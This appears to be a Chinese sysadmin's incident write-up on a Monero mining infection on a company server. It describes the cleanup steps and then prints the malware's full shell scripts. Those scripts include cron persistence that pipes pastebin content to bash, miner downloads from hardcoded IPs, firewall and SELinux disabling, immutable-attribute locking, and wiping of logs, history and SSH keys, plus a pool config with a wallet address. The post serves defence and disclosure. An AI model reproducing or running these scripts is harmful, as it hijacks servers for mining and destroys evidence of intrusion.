公司服务器负载突然上来了,用top命令查看,发现了一个很诡异的进程;
然后grep这个进程的进程号,发现是运行在/tmp/.solr/solrd下;于是赶紧杀进程,删程序,负载就下来了;但是还没有完,用top命令再次查看的时候惊奇的发现有一个solr.sh的脚本在执行,通过grep它的进程号,发现还是运行在tmp下,但是奇怪的是明明脚本在运行,但是在对应路径下找不到该脚本,用find全局查找也找不到;为了不让其继续作恶,赶紧把进程杀了,在阿里云控制台添加了安全组,只允许80,443的请求进来;
这还没有完,过一会,solr.sh脚本又开始运行了,但是正主solrd却没有运行;因该是由于端口限制程序包进不来了;于是赶紧做了如下措施:
1、修改服务器密码;
2、检查/etc/passwd、/etc/group文件有没有不熟悉的用户;
3、检查计划任务,这一查不要紧,还真有东西;但是清除计划任务时,发现没有权限,我可是root啊,开玩笑没有权限;于是检查了特殊权限,发现还真有,一个个清除了,又检查了/etc/cron.d/、/etc/cron.daily/、/etc/cron.deny、/etc/cron.hourly/、/etc/cron.monthly/、/etc/crontab、/etc/cron.weekly/无一例外,都有计划任务,还都加了特殊权限;
[root@jira-wiki log]# crontab -l */10 * * * * curl -fsSL https://pastebin.com/raw/xsC5mrCe | bash [root@jira-wiki log]# crontab -r /var/spool/cron/root: Operation not permitted [root@jira-wiki log]# lsattr /var/spool/cron/ ----ia-------e-- /var/spool/cron/root [root@jira-wiki log]# chattr -ia /var/spool/cron/root [root@jira-wiki log]# lsattr /var/spool/cron/ -------------e-- /var/spool/cron/root [root@jira-wiki log]# chattr -e /var/spool/cron/root [root@jira-wiki log]# lsattr /var/spool/cron/ ---------------- /var/spool/cron/root [root@jira-wiki log]#
4、用last查看最近登录的用户;
5、分析/var/log/messages、/var/log/secure日志
6、将chattr命令mv到其他地方,并修改名称,位置只有管理员知道,并将/var/log/wtmp、/var/log/secure、/var/log/cronrot加-a特殊权限,否则这些日志被清理后很恶心;最后一定要清除mv chattr命令的痕迹别让不法分子知道了你把chattr命令移动道理哪;
当时把它的程序copy了一份,事后看了下其配置文件,其中有这么一段配置,访问了下网址,发现是个叫门罗币的矿池;百度了下,发现中招的人还不少;
"pools": [ { "algo": null, "coin": null, "url": "pool.supportxmr.com:80", "user": "4APyW6eriFEHcp4jVaGLP7eUVMV332fdrKn5iEqHcPjQMy1giyzy9phM2GrFYJ87eNEXJi3CqTaJYbfBVQWS22ke9ke9oVB", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "enabled": true, "tls": false, "tls-fingerprint": null, "daemon": false, "socks5": null, "self-select": null } ],
最后我贴一下天杀的挖矿病毒在我服务器上干了啥,曝光它:
#!/bin/sh export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin ps aux | grep -v grep | grep \'givemexyz\' | awk \'{print $2}\' | xargs -I % kill -9 % ps aux | grep -v grep | grep \'dbuse\' | awk \'{print $2}\' | xargs -I % kill -9 % ps aux | grep -v grep | grep \'kdevtmpfsi\' | awk \'{print $2}\' | xargs -I % kill -9 % ps aux | grep -v grep | grep \'javaupDates\' | awk \'{print $2}\' | xargs -I % kill -9 % ps aux | grep -v grep | grep \'kinsing\' | awk \'{print $2}\' | xargs -I % kill -9 % killall /tmp/* killall /tmp/.* killall /var/tmp/* killall /var/tmp/.* pgrep JavaUpdate | xargs -I % kill -9 % pgrep kinsing | xargs -I % kill -9 % pgrep donate | xargs -I % kill -9 % pgrep kdevtmpfsi | xargs -I % kill -9 % pgrep sysupdate | xargs -I % kill -9 % pgrep mysqlserver | xargs -I % kill -9 % chattr -ia /var/spool/cron/root crontab -r crontab -l | grep -e "T6hvUyQq" | grep -v grep if [ $? -eq 0 ]; then echo "cron good" else ( crontab -l 2>/dev/null echo "*/5 * * * * curl -fsSL https://pastebin.com/raw/T6hvUyQq | sh" ) | crontab - fi rm -f /tmp/* rm -f /tmp/.sola s2=`whoami` if [ `whoami` = "root" ]; then chattr -ia /etc/cron.d/* rm -rf /etc/cron.d/* chattr -i /var/spool/cron/crontabs/root chattr -i /usr/local/bin/dns rm -f /etc/cron.hourly/oanacroner rm -f /etc/cron.hourly/oanacrona rm -f /etc/cron.daily/oanacroner rm -f /etc/cron.daily/oanacrona rm -f /etc/cron.monthly/oanacroner rm -f /usr/local/bin/dns rm -f /etc/update.sh chattr -ia /etc/hosts echo >/etc/hosts chattr +ia /etc/hosts chattr -i /etc/sysupdate rm -f /etc/sysupdate rm -f /etc/config.json rm -f /var/tmp/kworkerds rm -f /usr/bin/.systemcero rm -f /usr/bin/cloudupdate rm -f /usr/bin/diskmanagerd rm -f /lib/libterminfo.so rm -f /bin/httpsntp rm -f /bin/ftpsntp rm -f /var/tmp/jspserv rm -f /usr/sbin/cron rm -f /usr/bin/kinsing* rm -f /etc/cron.d/kinsing* rm -f /usr/bin/node chattr -isa /var/spool/cron/* rm -rf /var/spool/cron/* chattr +isa /tmp/xms rm -f /var/tmp/kinsing chattr -ia /etc/crontab echo \'*/10 * * * * root curl -fsSL https://pastebin.com/raw/xsC5mrCe | sh\' > /etc/crontab chattr +ia /etc/crontab chattr -ia /var/spool/cron/root chattr -ia /var/spool/cron/crontabs/root echo \'*/10 * * * * curl -fsSL https://pastebin.com/raw/xsC5mrCe | bash\' >/var/spool/cron/root echo \'*/10 * * * * curl -fsSL https://pastebin.com/raw/xsC5mrCe | bash\' >/var/spool/cron/crontabs/root echo \'*/10 * * * * root curl -fsSL https://pastebin.com/raw/xsC5mrCe | sh\' > /etc/cron.d/root chattr +ia /var/spool/cron/root chattr +ia /etc/cron.d/root chattr +ia /var/spool/cron/crontabs/root else ps aux | grep -v \'java\|redis\|weblogic\|mongod\|mysql\|oracle\|tomcat\|grep\|postgres\|atlassian\|awk\|sbin\|WebLogic.sh\|solr\|server\|aux\|httpd\|sh\|sbin|\' | grep ${s2:0:7} | awk \'{print $2}\' | xargs -I % kill -9 % ps aux | grep -v \'java\|redis\|weblogic\|mongod\|mysql\|oracle\|tomcat\|grep\|postgres\|atlassian\|awk\|sbin\|WebLogic.sh\|solr\|server\|aux\|httpd\|sh\|defunct\|sbin|\' | grep $s2 | awk \'{print $2}\' | xargs -I % kill -9 % fi chmod +777 /tmp/* pkill networkservice pkill networkser+ pkill watchbog pkill xmrig p=$(ps auxf|grep solrd|awk \'{if($3>=60.0) print $2}\') name=""$p if [ -z "$name" ] then pkill solr.sh pkill solrd ps aux | grep -v grep | grep -v \'java\|redis\|mongod\|mysql\|oracle\|tomcat\|grep\|postgres\|confluence\|awk\|aux\|sh\' | awk \'{if($3>60.0) print $2}\' | xargs -I % kill -9 % chmod +rwx /tmp/.solr rm -rf /tmp/.solr mkdir /tmp/.solr curl -fsSL http://27.1.1.34:8080/docs/s/config.json -o /tmp/.solr/config.json curl -fsSL http://222.122.47.27:2143/auth/solrd.exe -o /tmp/.solr/solrd curl -fsSL http://27.1.1.34:8080/docs/s/solr.sh -o /tmp/.solr/solr.sh chmod +x /tmp/.solr/solrd chmod +x /tmp/.solr/solr.sh nohup /tmp/.solr/solr.sh &>>/dev/null & sleep 10 rm -f /tmp/.solr/solr.sh else exit fi
#!/bin/bash SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin setenforce 0 2>/dev/null ulimit -n 65535 ufw disable iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT iptables -F echo "vm.nr_hugepages=$((1168+$(nproc)))" | tee -a /etc/sysctl.conf sysctl -w vm.nr_hugepages=$((1168+$(nproc))) echo \'0\' >/proc/sys/kernel/nmi_watchdog echo \'kernel.nmi_watchdog=0\' >>/etc/sysctl.conf mv /usr/bin/ps.original /usr/bin/ps netstat -antp | grep \':3333\' | awk \'{print $7}\' | sed -e "s/\/.*//g" | xargs -I % kill -9 % netstat -antp | grep \':4444\' | awk \'{print $7}\' | sed -e "s/\/.*//g" | xargs -I % kill -9 % netstat -antp | grep \':5555\' | awk \'{print $7}\' | sed -e "s/\/.*//g" | xargs -I % kill -9 % netstat -antp | grep \':7777\' | awk \'{print $7}\' | sed -e "s/\/.*//g" | xargs -I % kill -9 % netstat -antp | grep \':14444\' | awk \'{print $7}\' | sed -e "s/\/.*//g" | xargs -I % kill -9 % netstat -antp | grep \':5790\' | awk \'{print $7}\' | sed -e "s/\/.*//g" | xargs -I % kill -9 % netstat -antp | grep \':45700\' | awk \'{print $7}\' | sed -e "s/\/.*//g" | xargs -I % kill -9 % netstat -antp | grep \':2222\' | awk \'{print $7}\' | sed -e "s/\/.*//g" | xargs -I % kill -9 % netstat -antp | grep \':9999\' | awk \'{print $7}\' | sed -e "s/\/.*//g" | xargs -I % kill -9 % netstat -antp | grep \':20580\' | awk \'{print $7}\' | sed -e "s/\/.*//g" | xargs -I % kill -9 % netstat -antp | grep \':13531\' | awk \'{print $7}\' | sed -e "s/\/.*//g" | xargs -I % kill -9 % netstat -antp | grep \'23.94.24.12\' | awk \'{print $7}\' | sed -e \'s/\/.*//g\' | xargs -I % kill -9 % netstat -antp | grep \'134.122.17.13\' | awk \'{print $7}\' | sed -e \'s/\/.*//g\' | xargs -I % kill -9 % netstat -antp | grep \'66.70.218.40\' | awk \'{print $7}\' | sed -e \'s/\/.*//g\' | xargs -I % kill -9 % netstat -antp | grep \'209.141.35.17\' | awk \'{print $7}\' | sed -e \'s/\/.*//g\' | xargs -I % kill -9 % echo "123" netstat -antp | grep \'119.28.4.91\' | awk \'{print $7}\' | sed -e \'s/\/.*//g\' | xargs -I % kill -9 % netstat -antp | grep \'101.32.73.178\' | awk \'{print $7}\' | sed -e \'s/\/.*//g\' | xargs -I % kill -9 % netstat -antp | grep 185.238.250.137 | awk \'{print $7}\' | awk -F \'[/]\' \'{print $1}\' | xargs -I % kill -9 % netstat -antp | grep tmate | awk \'{print $7}\' | awk -F \'[/]\' \'{print $1}\' | xargs -I % kill -9 % netstat -antp | grep kinsing | awk \'{print $7}\' | awk -F \'[/]\' \'{print $1}\' | xargs -I % kill -9 % netstat -antp | grep kdevtmpfsi | awk \'{print $7}\' | awk -F \'[/]\' \'{print $1}\' | xargs -I % kill -9 % netstat -antp | grep pythonww | awk \'{print $7}\' | awk -F \'[/]\' \'{print $1}\' | xargs -I % kill -9 % netstat -antp | grep tcpp | awk \'{print $7}\' | awk -F \'[/]\' \'{print $1}\' | xargs -I % kill -9 % netstat -antp | grep c3pool | awk \'{print $7}\' | awk -F \'[/]\' \'{print $1}\' | xargs -I % kill -9 % netstat -antp | grep xmr | awk \'{print $7}\' | awk -F \'[/]\' \'{print $1}\' | xargs -I % kill -9 % netstat -antp | grep f2pool | awk \'{print $7}\' | awk -F \'[/]\' \'{print $1}\' | xargs -I % kill -9 % netstat -antp | grep crypto-pool | awk \'{print $7}\' | awk -F \'[/]\' \'{print $1}\' | xargs -I % kill -9 % netstat -antp | grep t00ls | awk \'{print $7}\' | awk -F \'[/]\' \'{print $1}\' | xargs -I % kill -9 % netstat -antp | grep vihansoft | awk \'{print $7}\' | awk -F \'[/]\' \'{print $1}\' | xargs -I % kill -9 % netstat -antp | grep mrbpool | awk \'{print $7}\' | awk -F \'[/]\' \'{print $1}\' | xargs -I % kill -9 % ps -fe | grep -v \'.rsyslogds\' | grep \'/tmp\' | grep -v grep | awk \'{print $2}\' | sed -e \'s/\/.*//g\' | xargs -I % kill -9 % if ! [ -z "$(command -v wdl)" ] ; then DLB="wdl -O " ; fi ; if ! [ -z "$(command -v wge)" ] ; then DLB="wge -O " ; fi if ! [ -z "$(command -v wget2)" ] ; then DLB="wget2 -O " ; fi ; if ! [ -z "$(command -v wget)" ] ; then DLB="wget -O " ; fi if ! [ -z "$(command -v cdl)" ] ; then DLB="cdl -Lk -o " ; fi ; if ! [ -z "$(command -v cur)" ] ; then DLB="cur -Lk -o " ; fi if ! [ -z "$(command -v curl2)" ] ; then DLB="curl2 -Lk -o " ; fi ; if ! [ -z "$(command -v curl)" ] ; then DLB="curl -Lk -o " ; fi echo $DLB if [ -w /usr/sbin ]; then SPATH=/usr/sbin else SPATH=/tmp fi ipurl="http://107.172.214.23:1234" $DLB $SPATH/.rsyslogds $ipurl/.rsyslogds;chmod +x $SPATH/.rsyslogds;/tmp/.rsyslogds;chattr +ai $SPATH/.rsyslogds $DLB $SPATH/.inis $ipurl/.inis;chmod +x $SPATH/.inis cd $SPATH/ nohup ./.inis 1>/dev/null 2>&1 & chattr +ia $SPATH/.inis history -c echo 0>/root/.ssh/authorized_keys echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cronrot echo 0>~/.bash_history